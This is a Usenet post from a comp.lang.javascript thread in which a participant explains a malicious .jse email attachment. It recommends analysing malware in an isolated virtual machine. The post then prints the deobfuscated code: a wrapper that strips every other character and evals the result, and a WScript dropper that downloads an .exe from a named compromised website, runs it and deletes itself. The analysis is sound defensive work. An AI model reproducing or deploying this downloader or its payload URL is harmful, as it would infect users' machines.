Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > comp.lang.javascript > #32910

Re: This is a VIRUS - how does it works?

Show key headers only | View raw

tom wrote:
> I'll spend few minutes for a manual search on the machine
> in the search of the 'bbb.png' file (and other suspicious stuff).

It won't be named bbb.png, the name should be "uoaeeefxoexf" + digits +
".exe", as mentioned elsewhere in this thread. But it's quite likely that
the malware would delete this file after it served its purpose.

> If you copy and paste the de-obfuscated code I'll have a look.

Sure, I'll add it after my reply. It's not very interesting, though; most of
the JS was nonsense, and what remains is a pretty straight-forward file
download.

> I'm also thinking to run the. jse file again,
> but this time monitoring what happens during its execution... ;
> I think I'll see if the 'Avast' or the 'Malwarebytes Anti-Malware' software
> (in their free version) could help me in this monitorizing task.
> I'm very, very, curious now...

I like curiosity :)

A simple way to examine malware safely is in a virtual machine, usually
without a network connection or connected to a dummy network, to prevent it
from spreading or causing other mischief. Create a VM with a clean Windows
install, make a snapshot, run the malware, make another snapshot, then
compare the two. There are plenty of tools for automatic malware analysis;
here's a list:
https://zeltser.com/automated-malware-analysis/

Good luck with your experiments.

- stefan



-----------------------------------------------------------------------

The first piece of code is what's left after all the cruft has been removed
from the obfuscated .jse file. The interesting part is stored in a string
variable, which I have named "code" below (all variables and functions have
been manually renamed by me). Every second letter in this string is noise
and must be removed before it can be evaluated.

The second part is the de-obfuscated contents of the "code" string. I have
decided to leave the URL to the malicious bbb.png intact, since it's trivial
to find files like this elsewhere. I've sent an email to the owner of the
website yesterday, but I'm not holding my breath... it seems to be a simple
restaurant website running Joomla as a CMS. They probably don't have anybody
available to take care of this issue.

-----------------------------------------------------------------------
// main code

if ((new ActiveXObject("WScript.shell"))
         .Exec("ipconfig")
         .StdOut
         .ReadAll()
         .match(/./))
{
    var code = 'vvmahrc 0n8itcms4oqu8fhaaipemmjpcdniyxzlxf2o2i9aj [snip]';
    //           v a r   n i c s o u f ...

    var delEveryOther = function (str) {
        str = str.split("");
        for (var i = 0; i < str.length; i += 2) {
            str[i] = "";
        }
        return str.join("");
    };

    (new Function("dummy", "return eval(arg)"))(delEveryOther(code));
}

-----------------------------------------------------------------------
// de-obfuscated content of the "code" variable

var urls = ["http://www.centrovetrine2.it/images/neutri/bbb.png"];
var wsShell = new ActiveXObject("WScript.Shell");
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tempDir = fs.GetSpecialFolder(2);

function createExeName ()
{
    return "/uoaeeefxoexf" + Math.round(Math.random() * 999999) + ".exe";
}

function executeFile (exePath)
{
    wsShell.Run(exePath);
}

function storeFile (content, filePath)
{
    stream.Open();
    stream.Type = 1;
    stream.Write(content);
    stream.Position = 0;
    stream.SaveToFile(filePath, 2);
    stream.Close();
}

function deleteSelf ()
{
    var thisScript = '';
    try {
        thisScript = WScript.ScriptFullName;
    } catch (e) {
        thisScript = window.location.pathname;
    }
    if (fs.FileExists(thisScript)) {
        if (!thisScript.match(/temp/i)) {
            try {
                fs.DeleteFile(thisScript);
            } catch (e) {}
        }
    }
}

var stream = new ActiveXObject("ADODB.Stream");
for (var i = 0; i < urls.length; i++) {
    var exePath = tempDir + createExeName();
    try {
        xhr.Open("GET", urls[i], false);
        xhr.Send();
        if (xhr.Status == 200) {
            storeFile(xhr.ResponseBody, exePath);
            executeFile(exePath);
        }
    } catch (e) {}
}
deleteSelf();

Back to comp.lang.javascript | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread

Thread

This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 14:37 +0200
  Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 14:43 +0200
    Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-30 18:32 +0200
  Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-30 18:31 +0200
    Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 21:22 +0200
      Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-03-30 23:20 +0200
        Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-31 14:00 +0200
          Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-03-31 17:26 +0200
            Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-01 22:00 +0200
              Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-01 22:11 +0200
                Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-02 21:02 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-02 22:50 +0200
                Re: This is a VIRUS - how does it works? a <a@inwind.it> - 2017-04-03 23:18 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-03 23:22 +0200
                Re: This is a VIRUS - how does it works? Tim Streater <timstreater@greenbee.net> - 2017-04-03 22:41 +0100
                Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:58 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-04 09:31 +0200
                Re: This is a VIRUS - how does it works? Flippie Flink <flip@flink.not> - 2017-04-04 12:09 +0200
                Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:50 +0200
      Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-31 00:51 +0200
        Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-31 14:05 +0200
          Re: This is a VIRUS - how does it works? Wally W. <ww84wa@aim.com> - 2017-03-31 11:54 -0400
            Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-01 21:56 +0200
  Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-02 01:07 +0200
    Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-04-02 14:31 +0200
      Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-02 15:07 +0200
        Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-04-14 22:10 +0200
    Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-02 21:45 +0200
      Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-03 03:03 +0200
        Re: This is a VIRUS - how does it works? a <a@inwind.it> - 2017-04-04 00:45 +0200
          Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:50 +0200
          Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-04 02:51 +0200
            Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-06 23:54 +0200
              Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-07 09:03 +0200
                Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-07 23:05 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-07 23:48 +0200
                Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-08 14:09 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-08 14:32 +0200
  Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 14:31 -0700
    Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-03 23:34 +0200
      Re: This is a VIRUS - how does it works? Andrew Poulos <ap_prog@hotmail.com> - 2017-04-04 11:35 +1000
        Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-04 09:36 +0200
    Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:59 +0200
      Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 16:08 -0700
        Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 16:17 -0700
        Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-05 13:58 -0700
      Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-19 12:59 -0700
        Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-20 00:13 +0200
          Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-19 16:59 -0700
            Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-20 08:49 +0200
              Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-05-01 13:40 -0700
  Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 14:06 +0200
    Re: This is a VIRUS - how does it works? <cyber@2trom.com> - 2017-04-12 13:59 +0000
      Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 22:23 +0200
        Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 22:28 +0200
        Re: This is a VIRUS - how does it works? <cyber@2trom.com> - 2017-04-12 21:55 +0000
        Re: This is a VIRUS - how does it works? "Michael Haufe (TNO)" <tno@thenewobjective.com> - 2017-04-14 12:34 -0700
          Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-14 22:42 +0200

csiph-web